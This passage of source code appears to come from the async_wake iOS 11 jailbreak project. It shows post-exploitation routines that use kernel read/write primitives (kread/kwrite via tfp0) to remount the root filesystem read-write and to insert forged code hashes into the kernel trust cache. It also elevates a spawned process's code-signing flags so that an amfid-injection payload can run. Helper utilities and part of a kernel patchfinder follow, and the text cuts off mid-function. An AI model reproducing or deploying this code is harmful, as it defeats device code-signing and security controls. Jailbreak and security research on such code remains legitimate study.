fclose(f); 272 | } 273 | 274 | // Remount / as rw - patch by xerub 275 | { 276 | vm_offset_t off = 0xd8; 277 | uint64_t _rootvnode = find_rootvnode(); 278 | uint64_t rootfs_vnode = kread64(_rootvnode); 279 | uint64_t v_mount = kread64(rootfs_vnode + off); 280 | uint32_t v_flag = kread32(v_mount + 0x71); 281 | 282 | kwrite32(v_mount + 0x71, v_flag & ~(1 << 6)); 283 | 284 | char *nmz = strdup("/dev/disk0s1s1"); 285 | int rv = mount("hfs", "/", MNT_UPDATE, (void *)&nmz); 286 | printf("[fun] remounting: %d\n", rv); 287 | 288 | v_mount = kread64(rootfs_vnode + off); 289 | kwrite32(v_mount + 0x71, v_flag); 290 | 291 | int fd = open("/.bit_of_fun", O_RDONLY); 292 | if (fd == -1) { 293 | fd = creat("/.bit_of_fun", 0644); 294 | } else { 295 | printf("[fun] file already exists!\n"); 296 | } 297 | close(fd); 298 | 299 | printf("[fun] Did we mount / as read+write? %s\n", file_exist("/.bit_of_fun") ? "yes" : "no"); 300 | } 301 | 302 | // Prepare our binaries 303 | { 304 | if (!file_exist("/fun_bins")) { 305 | mkdir("/fun_bins", 777); 306 | } 307 | 308 | /* uncomment if you need to replace the binaries */ 309 | unlink("/fun_bins/inject_amfid"); 310 | unlink("/fun_bins/amfid_payload.dylib"); 311 | // unlink("/fun_bins/test.dylib"); 312 | 313 | if (!file_exist("/fun_bins/inject_amfid")) { 314 | cp(resourceInBundle("inject_amfid"), "/fun_bins/inject_amfid"); 315 | chmod("/fun_bins/inject_amfid", 777); 316 | } 317 | if (!file_exist("/fun_bins/amfid_payload.dylib")) { 318 | cp(resourceInBundle("amfid_payload.dylib"), "/fun_bins/amfid_payload.dylib"); 319 | chmod("/fun_bins/amfid_payload.dylib", 777); 320 | } 321 | if (!file_exist("/fun_bins/test.dylib")) { 322 | cp(resourceInBundle("test.dylib"), "/fun_bins/test.dylib"); 323 | chmod("/fun_bins/test.dylib", 777); 324 | } 325 | 326 | printf("[fun] copied the required binaries into the right places\n"); 327 | } 328 | 329 | // trust cache injection 330 | { 331 | /* 332 | Note this patch still came from @xerub's KPPless branch, but detailed below is kind of my adventures which I rediscovered most of what he did 333 | 334 | So, as said on twitter by @Morpheus______, iOS 11 now uses SHA256 for code signatures, rather than SHA1 like before. 335 | What confuses me though is that I believe the overall CDHash is SHA1, but each subhash is SHA256. In AMFI.kext, the memcmp 336 | used to check between the current hash and the hashes in the cache seem to be this CDHash. So the question is do I really need 337 | to get every hash, or just the main CDHash and insert that one into the trust chain? 338 | 339 | If we look at the trust chain code checker (0xFFFFFFF00637B3E8 6+ 11.1.2), it is pretty basic. The trust chain is in the format of 340 | the following (struct from xerub, but I've checked with AMFI that it is the case): 341 | 342 | struct trust_mem { 343 | uint64_t next; // +0x00 - the next struct trust_mem 344 | unsigned char uuid[16]; // +0x08 - The uuid of the trust_mem (it doesn't seem important or checked apart from when importing a new trust chain) 345 | unsigned int count; // +0x18 - Number of hashes there are 346 | unsigned char hashes[]; // +0x1C - The hashes 347 | } 348 | 349 | The trust chain checker does the following: 350 | - Find the first struct that has a count > 0 351 | - Loop through all the hashes in the struct, comparing with the current hash 352 | - Keeps going through each chain, then when next is 0, it finishes 353 | 354 | UPDATE: a) was using an old version of JTool. Now I realised the CDHash is SHA256 355 | b) For launchd (whose hash resides in the AMFI cache), the first byte is used as an index sort of thing, and the next *19* bytes are used for the check 356 | This probably means that only the first 20 bytes of the CDHash are used in the trust cache check 357 | 358 | So our execution method is as follows: 359 | - Calculate the CD Hashes for the target resources that we want to play around with 360 | - Create a custom trust chain struct, and insert it into the existing trust chain - only storing the first 20 bytes of each hash 361 | - ??? PROFIT 362 | */ 363 | 364 | uint64_t tc = find_trustcache(); 365 | printf("[fun] trust cache at: %016llx\n", kread64(tc)); 366 | 367 | typedef char hash_t[20]; 368 | 369 | struct trust_chain { 370 | uint64_t next; // +0x00 - the next struct trust_mem 371 | unsigned char uuid[16]; // +0x08 - The uuid of the trust_mem (it doesn't seem important or checked apart from when importing a new trust chain) 372 | unsigned int count; // +0x18 - Number of hashes there are 373 | hash_t hash[10]; // +0x1C - The hashes 374 | }; 375 | 376 | struct trust_chain fake_chain; 377 | 378 | fake_chain.next = kread64(tc); 379 | *(uint64_t *)&fake_chain.uuid[0] = 0xabadbabeabadbabe; 380 | *(uint64_t *)&fake_chain.uuid[8] = 0xabadbabeabadbabe; 381 | fake_chain.count = 2; 382 | 383 | uint8_t *hash = get_sha256(get_code_directory("/fun_bins/inject_amfid")); 384 | uint8_t *hash2 = get_sha256(get_code_directory("/fun_bins/amfid_payload.dylib")); 385 | 386 | memmove(fake_chain.hash[0], hash, 20); 387 | memmove(fake_chain.hash[1], hash2, 20); 388 | 389 | uint64_t kernel_trust = kalloc(sizeof(fake_chain)); 390 | kwrite(kernel_trust, &fake_chain, sizeof(fake_chain)); 391 | kwrite64(tc, kernel_trust); 392 | 393 | printf("[fun] Wrote the signatures into the trust cache!\n"); 394 | } 395 | 396 | // printf("[fun] currently cs_debug is at %d\n", rk32(0xFFFFFFF0076220EC+slide)); 397 | // wk32(0xFFFFFFF0076220EC+slide, 100); 398 | 399 | #define BinaryLocation "/fun_bins/inject_amfid" 400 | 401 | pid_t pd; 402 | 403 | const char* args[] = {BinaryLocation, itoa(amfid_pid), NULL}; 404 | int rv = posix_spawn(&pd, BinaryLocation, NULL, NULL, (char **)&args, NULL); 405 | 406 | // mach_port_t pt = 0; 407 | // printf("getting Springboards task: %s\n", mach_error_string(task_for_pid(mach_task_self(), 55, &pt))); 408 | 409 | int tries = 3; 410 | while (tries-- > 0) { 411 | sleep(1); 412 | uint64_t proc = kread64(find_allproc()); 413 | while (proc) { 414 | uint32_t pid = kread32(proc + offsetof_p_pid); 415 | if (pid == pd) { 416 | uint32_t csflags = kread32(proc + offsetof_p_csflags); 417 | csflags = (csflags | CS_PLATFORM_BINARY | CS_INSTALLER | CS_GET_TASK_ALLOW) & ~(CS_RESTRICT | CS_HARD); 418 | kwrite32(proc + offsetof_p_csflags, csflags); 419 | tries = 0; 420 | 421 | // uint64_t self_ucred = 0; 422 | // kexecute(find_copyout(), proc+0x100, &self_ucred, sizeof(self_ucred), 0, 0, 0, 0); 423 | //// 424 | //// KCALL(find_bcopy(), kern_ucred + 0x78, self_ucred + 0x78, sizeof(uint64_t), 0, 0, 0, 0); 425 | //// KCALL(find_bzero(), self_ucred + 0x18, 12, 0, 0, 0, 0, 0); 426 | // 427 | // 428 | // 429 | // uint64_t mac_pol = kread64(self_ucred+0x78); 430 | //// printf("MAC policies for this process are at %016llx\n", mac_pol); 431 | // uint64_t amfi_mac_pol = kread64(mac_pol+0x8); // This is actually an OSDictionary zz 432 | //// printf("AMFI MAC policies at %016llx\n", amfi_mac_pol); 433 | // 434 | // uint32_t f = kread32(amfi_mac_pol+20); // Number of items in the dictionary 435 | //// printf("%d\n", f); 436 | // 437 | // 438 | // uint64_t g = kread64(amfi_mac_pol+32); // Item buffer 439 | //// printf("%016llx\n", g); 440 | // 441 | // for (int i = 0; i < f; i++) { 442 | //// printf("%016llx\n", kread64(g+16*i)); // value is at this + 8 443 | // printf("%016llx\n", kread64(kread64(g+16*i+8))); 444 | //// printf("%016llx\n", kread64(kread64(kread64(g+16*i)+0x10))); 445 | // 446 | // size_t length = kexecute(0xFFFFFFF00709BDE0+slide, kread64(kread64(g+16*i)+0x10), 0, 0, 0, 0, 0, 0); 447 | // 448 | // char* s = (char*)calloc(length+1, 1); 449 | // kread(kread64(kread64(g+16*i)+0x10), s, length); 450 | // printf("%s\n", s); 451 | // 452 | // } 453 | // 454 | // printf("Gave us task_for_pid-allow\n"); 455 | // 456 | // 457 | //// 458 | // uint64_t str = kalloc(strlen("task_for_pid-allow")+1); 459 | // kwrite(str, "task_for_pid-allow", strlen("task_for_pid-allow")); 460 | // uint64_t getObject = kread64(kread64(amfi_mac_pol)+304); 461 | // uint64_t out = ZM_FIX_ADDR(kexecute(getObject, amfi_mac_pol, str, 0, 0, 0, 0, 0)); 462 | // 463 | // printf("%08x\n", kread32(out+0xc)); 464 | // 465 | //// printf("%016llx\n", kexecute(slide+0xFFFFFFF00707FB58, out, 0, 0, 0, 0, 0, 0)); 466 | //// 467 | //// KCALL(getObject, amfi_mac_pol, str, 0, 0, 0, 0, 0); 468 | //// uint64_t out = returnval; 469 | // printf("%016llx\n", out); 470 | //// 471 | //// KCALL(slide+0xFFFFFFF00707FB58, out|0xfffffff000000000, 0, 0, 0, 0, 0, 0); 472 | //// printf("%016llx\n", returnval); 473 | //// 474 | // 475 | // 476 | // uint64_t bo = kalloc(8); 477 | // kexecute(0xFFFFFFF00637D88C + slide, proc, str, bo, 0, 0, 0, 0); 478 | // printf("hi - %016llx\n", kread64(bo)); 479 | // 480 | // uint64_t new_ent_dict = ZM_FIX_ADDR(kexecute(0xFFFFFFF0074AAD50+slide, 4, 0, 0, 0, 0, 0, 0)); // OSDictionary::withCapacity 481 | // printf("new_ent_dict - %016llx\n", kread64(new_ent_dict)); 482 | // 483 | // uint64_t symbol = ZM_FIX_ADDR(kexecute(0xFFFFFFF0074C2D90+slide, str, 0, 0, 0, 0, 0, 0)); // OSSymbol::withCString 484 | // printf("symbol - %016llx\n", kread64(symbol)); 485 | // 486 | // uint64_t bol = ZM_FIX_ADDR(kexecute(0xFFFFFFF0074A68C8+slide, 1, 0, 0, 0, 0, 0, 0)); // OSBoolean::withBoolean 487 | //// 0x0000000012800000 488 | // printf("bol - %016llx\n", kread64(bol)); 489 | // uint64_t bol2 = ZM_FIX_ADDR(kexecute(0xFFFFFFF0074A68C8+slide, 1, 0, 0, 0, 0, 0, 0)); 490 | // 491 | // uint64_t str2 = kalloc(strlen("com.apple.system-task-ports")+1); 492 | // kwrite(str2, "com.apple.system-task-ports", strlen("com.apple.system-task-ports")); 493 | // 494 | // 495 | // kexecute(kread64(kread64(new_ent_dict)+8*31), new_ent_dict, str, bol, 0, 0, 0, 0); 496 | // kexecute(kread64(kread64(new_ent_dict)+8*31), new_ent_dict, str2, bol2, 0, 0, 0, 0); 497 | // kwrite64(kread64(kern_ucred+0x78)+0x8, amfi_mac_pol); 498 | // 499 | // 500 | //// uint64_t vnode = kread64(proc+0x248); 501 | //// uint64_t off =kread64(proc+0x250); 502 | // 503 | // uint64_t csblob = ZM_FIX_ADDR(kexecute(slide+0xFFFFFFF0073B717C, our_proc, 0, 0, 0, 0, 0, 0)); 504 | // printf("csblob - %016llx\n", csblob); 505 | // 506 | // uint64_t dict = ZM_FIX_ADDR(kexecute(slide+0xFFFFFFF0073B71F4, csblob, 0, 0, 0, 0, 0, 0)); 507 | // printf("dict - %016llx - %016llx\n", dict, kread64(dict)); 508 | // 509 | // kexecute(kread64(kread64(dict)+8*31), dict, str, bol, 0, 0, 0, 0); 510 | // kexecute(kread64(kread64(dict)+8*31), dict, str2, bol2, 0, 0, 0, 0); 511 | // 512 | // kexecute(slide+0xFFFFFFF0073B7228, csblob, dict, 0, 0, 0, 0, 0); 513 | //// 514 | // f = kread32(dict+20); // Number of items in the dictionary 515 | // // printf("%d\n", f); 516 | // 517 | // 518 | // g = kread64(dict+32); // Item buffer 519 | // // printf("%016llx\n", g); 520 | // 521 | // for (int i = 0; i < f; i++) { 522 | // // printf("%016llx\n", kread64(g+16*i)); // value is at this + 8 523 | // printf("%016llx\n", kread64(kread64(g+16*i+8))); 524 | // // printf("%016llx\n", kread64(kread64(kread64(g+16*i)+0x10))); 525 | // 526 | // size_t length = kexecute(0xFFFFFFF00709BDE0+slide, kread64(kread64(g+16*i)+0x10), 0, 0, 0, 0, 0, 0); 527 | // 528 | // char* s = (char*)calloc(length+1, 1); 529 | // kread(kread64(kread64(g+16*i)+0x10), s, length); 530 | // printf("%s\n", s); 531 | // 532 | // } 533 | 534 | break; 535 | } 536 | proc = kread64(proc); 537 | } 538 | } 539 | 540 | waitpid(pd, NULL, 0); 541 | 542 | 543 | 544 | 545 | // Cleanup 546 | 547 | // char *nmz = strdup("/dev/disk0s1s1"); 548 | // rv = mount("hfs", "/", MNT_UPDATE, (void *)&nmz); 549 | // printf("[fun] remounting: %d\n", rv); 550 | 551 | kwrite64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), IOSurfaceRootUserClient_addr); 552 | kwrite64(kread64(kern_ucred+0x78)+0x8, 0); 553 | term_kernel(); 554 | 555 | } 556 | -------------------------------------------------------------------------------- /async_wake_ios/the_fun_part/fun_objc.h: -------------------------------------------------------------------------------- 1 | // 2 | // fun_objc.h 3 | // async_wake_ios 4 | // 5 | // Created by George on 16/12/17. 6 | // Copyright © 2017 Ian Beer. All rights reserved. 7 | // 8 | 9 | #ifndef fun_objc_h 10 | #define fun_objc_h 11 | 12 | const char* binaryName(void); 13 | const char* launchctlpath(void); 14 | const char* plistPath2(void); 15 | const char* realPath(void); 16 | 17 | #endif /* fun_objc_h */ 18 | -------------------------------------------------------------------------------- /async_wake_ios/the_fun_part/fun_objc.m: -------------------------------------------------------------------------------- 1 | // 2 | // fun_objc.m 3 | // async_wake_ios 4 | // 5 | // Created by George on 16/12/17. 6 | // Copyright © 2017 Ian Beer. All rights reserved. 7 | // 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #import 20 | 21 | 22 | const char* binaryName() { 23 | char path[4096]; 24 | uint32_t size = sizeof(path); 25 | _NSGetExecutablePath(path, &size); 26 | char *pt = realpath(path, NULL); 27 | 28 | NSString *execpath = [[NSString stringWithUTF8String:pt] stringByDeletingLastPathComponent]; 29 | 30 | NSString *bootstrap = [execpath stringByAppendingPathComponent:@"test_fsigned"]; 31 | return [bootstrap UTF8String]; 32 | } 33 | 34 | const char* launchctlpath() { 35 | char path[4096]; 36 | uint32_t size = sizeof(path); 37 | _NSGetExecutablePath(path, &size); 38 | char *pt = realpath(path, NULL); 39 | 40 | NSString *execpath = [[NSString stringWithUTF8String:pt] stringByDeletingLastPathComponent]; 41 | 42 | NSString *bootstrap = [execpath stringByAppendingPathComponent:@"mydb"]; 43 | return [bootstrap UTF8String]; 44 | } 45 | const char* plistPath2() { 46 | char path[4096]; 47 | uint32_t size = sizeof(path); 48 | _NSGetExecutablePath(path, &size); 49 | char *pt = realpath(path, NULL); 50 | 51 | NSString *execpath = [[NSString stringWithUTF8String:pt] stringByDeletingLastPathComponent]; 52 | 53 | NSString *bootstrap = [execpath stringByAppendingPathComponent:@"insert_into_launcd"]; 54 | return [bootstrap UTF8String]; 55 | } 56 | 57 | const char* realPath() { 58 | char path[4096]; 59 | uint32_t size = sizeof(path); 60 | _NSGetExecutablePath(path, &size); 61 | char *pt = realpath(path, NULL); 62 | return pt; 63 | } 64 | -------------------------------------------------------------------------------- /async_wake_ios/the_fun_part/fun_utils.c: -------------------------------------------------------------------------------- 1 | // 2 | // fun_utils.c 3 | // async_wake_ios 4 | // 5 | // Created by George on 18/12/17. 6 | // Copyright © 2017 Ian Beer. All rights reserved. 7 | // 8 | 9 | #include "fun_utils.h" 10 | 11 | uint32_t swap_uint32(uint32_t val) { 12 | val = ((val << 8) & 0xFF00FF00 ) | ((val >> 8) & 0xFF00FF ); 13 | return (val << 16) | (val >> 16); 14 | } 15 | 16 | uint8_t *get_sha256(uint8_t* code_dir) { 17 | uint8_t *out = malloc(CC_SHA256_DIGEST_LENGTH); 18 | 19 | uint32_t* code_dir_int = (uint32_t*)code_dir; 20 | 21 | uint32_t realsize = 0; 22 | for (int j = 0; j < 10; j++) { 23 | if (swap_uint32(code_dir_int[j]) == 0xfade0c02) { 24 | realsize = swap_uint32(code_dir_int[j+1]); 25 | code_dir += 4*j; 26 | } 27 | } 28 | 29 | CC_SHA256(code_dir, realsize, out); 30 | 31 | return out; 32 | } 33 | 34 | uint8_t *get_code_directory(const char* name) { 35 | // Assuming it is a macho 36 | 37 | FILE* fd = fopen(name, "r"); 38 | 39 | printf("%s\n", name); 40 | 41 | struct mach_header_64 mh; 42 | fread(&mh, sizeof(struct mach_header_64), 1, fd); 43 | 44 | long off = sizeof(struct mach_header_64); 45 | for (int i = 0; i < mh.ncmds; i++) { 46 | const struct load_command cmd; 47 | fseek(fd, off, SEEK_SET); 48 | fread(&cmd, sizeof(struct load_command), 1, fd); 49 | if (cmd.cmd == 0x1d) { 50 | uint32_t off_cs; 51 | fread(&off_cs, sizeof(uint32_t), 1, fd); 52 | uint32_t size_cs; 53 | fread(&size_cs, sizeof(uint32_t), 1, fd); 54 | 55 | uint8_t *cd = malloc(size_cs); 56 | fseek(fd, off_cs, SEEK_SET); 57 | fread(cd, size_cs, 1, fd); 58 | return cd; 59 | } else { 60 | off += cmd.cmdsize; 61 | } 62 | } 63 | return NULL; 64 | } 65 | 66 | 67 | int cp(const char *from, const char *to) { 68 | int fd_to, fd_from; 69 | char buf[4096]; 70 | ssize_t nread; 71 | int saved_errno; 72 | 73 | fd_from = open(from, O_RDONLY); 74 | if (fd_from < 0) 75 | return -1; 76 | 77 | fd_to = open(to, O_WRONLY | O_CREAT | O_EXCL, 0666); 78 | if (fd_to < 0) 79 | goto out_error; 80 | 81 | while (nread = read(fd_from, buf, sizeof buf), nread > 0) 82 | { 83 | char *out_ptr = buf; 84 | ssize_t nwritten; 85 | 86 | do { 87 | nwritten = write(fd_to, out_ptr, nread); 88 | 89 | if (nwritten >= 0) 90 | { 91 | nread -= nwritten; 92 | out_ptr += nwritten; 93 | } 94 | else if (errno != EINTR) 95 | { 96 | goto out_error; 97 | } 98 | } while (nread > 0); 99 | } 100 | 101 | if (nread == 0) 102 | { 103 | if (close(fd_to) < 0) 104 | { 105 | fd_to = -1; 106 | goto out_error; 107 | } 108 | close(fd_from); 109 | 110 | /* Success! */ 111 | return 0; 112 | } 113 | 114 | out_error: 115 | saved_errno = errno; 116 | 117 | close(fd_from); 118 | if (fd_to >= 0) 119 | close(fd_to); 120 | 121 | errno = saved_errno; 122 | return -1; 123 | } 124 | 125 | int file_exist (char *filename) { 126 | struct stat buffer; 127 | return (stat (filename, &buffer) == 0); 128 | } 129 | 130 | 131 | /****** Kernel utility stuff ******/ 132 | 133 | mach_port_t tfpzero; 134 | mach_port_t uc; 135 | void init_kernel_utils(mach_port_t tfp0, mach_port_t user_client) { 136 | tfpzero = tfp0; 137 | } 138 | 139 | uint64_t kalloc(vm_size_t size) { 140 | mach_vm_address_t address = 0; 141 | mach_vm_allocate(tfpzero, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE); 142 | return address; 143 | } 144 | 145 | 146 | size_t kread(uint64_t where, void *p, size_t size) { 147 | int rv; 148 | size_t offset = 0; 149 | while (offset < size) { 150 | mach_vm_size_t sz, chunk = 2048; 151 | if (chunk > size - offset) { 152 | chunk = size - offset; 153 | } 154 | rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &sz); 155 | if (rv || sz == 0) { 156 | printf("[fun_utils] error on kread(0x%016llx)\n", (offset + where)); 157 | break; 158 | } 159 | offset += sz; 160 | } 161 | return offset; 162 | } 163 | 164 | uint32_t kread32(uint64_t where) { 165 | uint32_t out; 166 | kread(where, &out, sizeof(uint32_t)); 167 | return out; 168 | } 169 | 170 | uint64_t kread64(uint64_t where) { 171 | uint64_t out; 172 | kread(where, &out, sizeof(uint64_t)); 173 | return out; 174 | } 175 | 176 | size_t kwrite(uint64_t where, const void *p, size_t size) { 177 | int rv; 178 | size_t offset = 0; 179 | while (offset < size) { 180 | size_t chunk = 2048; 181 | if (chunk > size - offset) { 182 | chunk = size - offset; 183 | } 184 | rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, chunk); 185 | if (rv) { 186 | printf("[fun_utils] error on kwrite(0x%016llx)\n", (offset + where)); 187 | break; 188 | } 189 | offset += chunk; 190 | } 191 | return offset; 192 | } 193 | 194 | void kwrite32(uint64_t where, uint32_t what) { 195 | uint32_t _what = what; 196 | kwrite(where, &_what, sizeof(uint32_t)); 197 | } 198 | 199 | 200 | void kwrite64(uint64_t where, uint64_t what) { 201 | uint64_t _what = what; 202 | kwrite(where, &_what, sizeof(uint64_t)); 203 | } 204 | -------------------------------------------------------------------------------- /async_wake_ios/the_fun_part/fun_utils.h: -------------------------------------------------------------------------------- 1 | // 2 | // fun_utils.h 3 | // async_wake_ios 4 | // 5 | // Created by George on 18/12/17. 6 | // Copyright © 2017 Ian Beer. All rights reserved. 7 | // 8 | 9 | #ifndef fun_utils_h 10 | #define fun_utils_h 11 | 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | 22 | 23 | #include "find_port.h" 24 | 25 | // Needed definitions 26 | kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags); 27 | kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize); 28 | kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt); 29 | 30 | // "General" purpose 31 | uint8_t *get_sha256(uint8_t* code_dir); 32 | uint8_t *get_code_directory(const char* name); 33 | int cp(const char *from, const char *to); 34 | int file_exist(char *filename); 35 | 36 | // Kernel utility stuff 37 | void init_kernel_utils(mach_port_t tfp0, mach_port_t user_client); 38 | uint64_t kalloc(vm_size_t size); 39 | size_t kread(uint64_t where, void *p, size_t size); 40 | uint32_t kread32(uint64_t where); 41 | uint64_t kread64(uint64_t where); 42 | size_t kwrite(uint64_t where, const void *p, size_t size); 43 | void kwrite32(uint64_t where, uint32_t what); 44 | void kwrite64(uint64_t where, uint64_t what); 45 | 46 | #endif /* fun_utils_h */ 47 | -------------------------------------------------------------------------------- /async_wake_ios/the_fun_part/patchfinder64.c: -------------------------------------------------------------------------------- 1 | // 2 | // patchfinder64.c 3 | // extra_recipe 4 | // 5 | // Created by xerub on 06/06/2017. 6 | // Copyright © 2017 xerub. All rights reserved. 7 | // 8 | 9 | #include 10 | #include 11 | #include 12 | 13 | typedef unsigned long long addr_t; 14 | 15 | #define IS64(image) (*(uint8_t *)(image) & 1) 16 | 17 | #define MACHO(p) ((*(unsigned int *)(p) & ~1) == 0xfeedface) 18 | 19 | /* generic stuff *************************************************************/ 20 | 21 | #define UCHAR_MAX 255 22 | 23 | static unsigned char * 24 | boyermoore_horspool_memmem(const unsigned char* haystack, size_t hlen, 25 | const unsigned char* needle, size_t nlen) 26 | { 27 | size_t last, scan = 0; 28 | size_t bad_char_skip[UCHAR_MAX + 1]; /* Officially called: 29 | * bad character shift */ 30 | 31 | /* Sanity checks on the parameters */ 32 | if (nlen <= 0 || !haystack || !needle) 33 | return NULL; 34 | 35 | /* ---- Preprocess ---- */ 36 | /* Initialize the table to default value */ 37 | /* When a character is encountered that does not occur 38 | * in the needle, we can safely skip ahead for the whole 39 | * length of the needle. 40 | */ 41 | for (scan = 0; scan <= UCHAR_MAX; scan = scan + 1) 42 | bad_char_skip[scan] = nlen; 43 | 44 | /* C arrays have the first byte at [0], therefore: 45 | * [nlen - 1] is the last byte of the array. */ 46 | last = nlen - 1; 47 | 48 | /* Then populate it with the analysis of the needle */ 49 | for (scan = 0; scan < last; scan = scan + 1) 50 | bad_char_skip[needle[scan]] = last - scan; 51 | 52 | /* ---- Do the matching ---- */ 53 | 54 | /* Search the haystack, while the needle can still be within it. */ 55 | while (hlen >= nlen) 56 | { 57 | /* scan from the end of the needle */ 58 | for (scan = last; haystack[scan] == needle[scan]; scan = scan - 1) 59 | if (scan == 0) /* If the first byte matches, we've found it. */ 60 | return (void *)haystack; 61 | 62 | /* otherwise, we need to skip some bytes and start again. 63 | Note that here we are getting the skip value based on the last byte 64 | of needle, no matter where we didn't match. So if needle is: "abcd" 65 | then we are skipping based on 'd' and that value will be 4, and 66 | for "abcdd" we again skip on 'd' but the value will be only 1. 67 | The alternative of pretending that the mismatched character was 68 | the last character is slower in the normal case (E.g. finding 69 | "abcd" in "...azcd..." gives 4 by using 'd' but only 70 | 4-2==2 using 'z'. */ 71 | hlen -= bad_char_skip[haystack[last]]; 72 | haystack += bad_char_skip[haystack[last]]; 73 | } 74 | 75 | return NULL; 76 | } 77 | 78 | /* disassembler **************************************************************/ 79 | 80 | static int HighestSetBit(int N, uint32_t imm) 81 | { 82 | int i; 83 | for (i = N - 1; i >= 0; i--) { 84 | if (imm & (1 << i)) { 85 | return i; 86 | } 87 | } 88 | return -1; 89 | } 90 | 91 | static uint64_t ZeroExtendOnes(unsigned M, unsigned N) // zero extend M ones to N width 92 | { 93 | (void)N; 94 | return ((uint64_t)1 << M) - 1; 95 | } 96 | 97 | static uint64_t RORZeroExtendOnes(unsigned M, unsigned N, unsigned R) 98 | { 99 | uint64_t val = ZeroExtendOnes(M, N); 100 | if (R == 0) { 101 | return val; 102 | } 103 | return ((val >> R) & (((uint64_t)1 << (N - R)) - 1)) | ((val & (((uint64_t)1 << R) - 1)) << (N - R)); 104 | } 105 | 106 | static uint64_t Replicate(uint64_t val, unsigned bits) 107 | { 108 | uint64_t ret = val; 109 | unsigned shift; 110 | for (shift = bits; shift < 64; shift += bits) { // XXX actually, it is either 32 or 64 111 | ret |= (val << shift); 112 | } 113 | return ret; 114 | } 115 | 116 | static int DecodeBitMasks(unsigned immN, unsigned imms, unsigned immr, int immediate, uint64_t *newval) 117 | { 118 | unsigned levels, S, R, esize; 119 | int len = HighestSetBit(7, (immN << 6) | (~imms & 0x3F)); 120 | if (len < 1) { 121 | return -1; 122 | } 123 | levels = ZeroExtendOnes(len, 6); 124 | if (immediate && (imms & levels) == levels) { 125 | return -1; 126 | } 127 | S = imms & levels; 128 | R = immr & levels; 129 | esize = 1 << len; 130 | *newval = Replicate(RORZeroExtendOnes(S + 1, esize, R), esize); 131 | return 0; 132 | } 133 | 134 | static int DecodeMov(uint32_t opcode, uint64_t total, int first, uint64_t *newval) 135 | { 136 | unsigned o = (opcode >> 29) & 3; 137 | unsigned k = (opcode >> 23) & 0x3F; 138 | unsigned rn, rd; 139 | uint64_t i; 140 | 141 | if (k == 0x24 && o == 1) { // MOV (bitmask imm) <=> ORR (immediate) 142 | unsigned s = (opcode >> 31) & 1; 143 | unsigned N = (opcode >> 22) & 1; 144 | if (s == 0 && N != 0) { 145 | return -1; 146 | } 147 | rn = (opcode >> 5) & 0x1F; 148 | if (rn == 31) { 149 | unsigned imms = (opcode >> 10) & 0x3F; 150 | unsigned immr = (opcode >> 16) & 0x3F; 151 | return DecodeBitMasks(N, imms, immr, 1, newval); 152 | } 153 | } else if (k == 0x25) { // MOVN/MOVZ/MOVK 154 | unsigned s = (opcode >> 31) & 1; 155 | unsigned h = (opcode >> 21) & 3; 156 | if (s == 0 && h > 1) { 157 | return -1; 158 | } 159 | i = (opcode >> 5) & 0xFFFF; 160 | h *= 16; 161 | i <<= h; 162 | if (o == 0) { // MOVN 163 | *newval = ~i; 164 | return 0; 165 | } else if (o == 2) { // MOVZ 166 | *newval = i; 167 | return 0; 168 | } else if (o == 3 && !first) { // MOVK 169 | *newval = (total & ~((uint64_t)0xFFFF << h)) | i; 170 | return 0; 171 | } 172 | } else if ((k | 1) == 0x23 && !first) { // ADD (immediate) 173 | unsigned h = (opcode >> 22) & 3; 174 | if (h > 1) { 175 | return -1; 176 | } 177 | rd = opcode & 0x1F; 178 | rn = (opcode >> 5) & 0x1F; 179 | if (rd != rn) { 180 | return -1; 181 | } 182 | i = (opcode >> 10) & 0xFFF; 183 | h *= 12; 184 | i <<= h; 185 | if (o & 2) { // SUB 186 | *newval = total - i; 187 | return 0; 188 | } else { // ADD 189 | *newval = total + i; 190 | return 0; 191 | } 192 | } 193 | 194 | return -1; 195 | } 196 | 197 | /* patchfinder ***************************************************************/ 198 | 199 | static addr_t 200 | step64(const uint8_t *buf, addr_t start, size_t length, uint32_t what, uint32_t mask) 201 | { 202 | addr_t end = start + length; 203 | while (start < end) { 204 | uint32_t x = *(uint32_t *)(buf + start); 205 | if ((x & mask) == what) { 206 | return start; 207 | } 208 | start += 4; 209 | } 210 | return 0; 211 | } 212 | 213 | // str8 = step64_back(kernel, ref, ref - bof, INSN_STR8); 214 | static addr_t 215 | step64_back(const uint8_t *buf, addr_t start, size_t length, uint32_t what, uint32_t mask) 216 | { 217 | addr_t end = start - length; 218 | while (start >= end) { 219 | uint32_t x = *(uint32_t *)(buf + start); 220 | if ((x & mask) == what) { 221 | return start; 222 | } 223 | start -= 4; 224 | } 225 | return 0; 226 | } 227 | 228 | // Finds start of function 229 | static addr_t 230 | bof64(const uint8_t *buf, addr_t start, addr_t where) 231 | { 232 | for (; where >= start; where -= 4) { 233 | uint32_t op = *(uint32_t *)(buf + where); 234 | if ((op & 0xFFC003FF) == 0x910003FD) { 235 | unsigned delta = (op >> 10) & 0xFFF; 236 | //printf("%x: ADD X29, SP, #0x%x\n", where, delta); 237 | if ((delta & 0xF) == 0) { 238 | addr_t prev = where - ((delta >> 4) + 1) * 4; 239 | uint32_t au = *(uint32_t *)(buf + prev); 240 | if ((au & 0xFFC003E0) == 0xA98003E0) { 241 | //printf("%x: STP x, y, [SP,#-imm]!\n", prev); 242 | return prev; 243 | } 244 | } 245 | } 246 | } 247 | return 0; 248 | } 249 | 250 | static addr_t 251 | xref64(const uint8_t *buf, addr_t start, addr_t end, addr_t what) 252 | { 253 | addr_t i; 254 | uint64_t value[32]; 255 | 256 | memset(value, 0, sizeof(value)); 257 | 258 | end &= ~3; 259 | for (i = start & ~3; i < end; i += 4) { 260 | uint32_t op = *(uint32_t *)(buf + i); 261 | unsigned reg = op & 0x1F; 262 | if ((op & 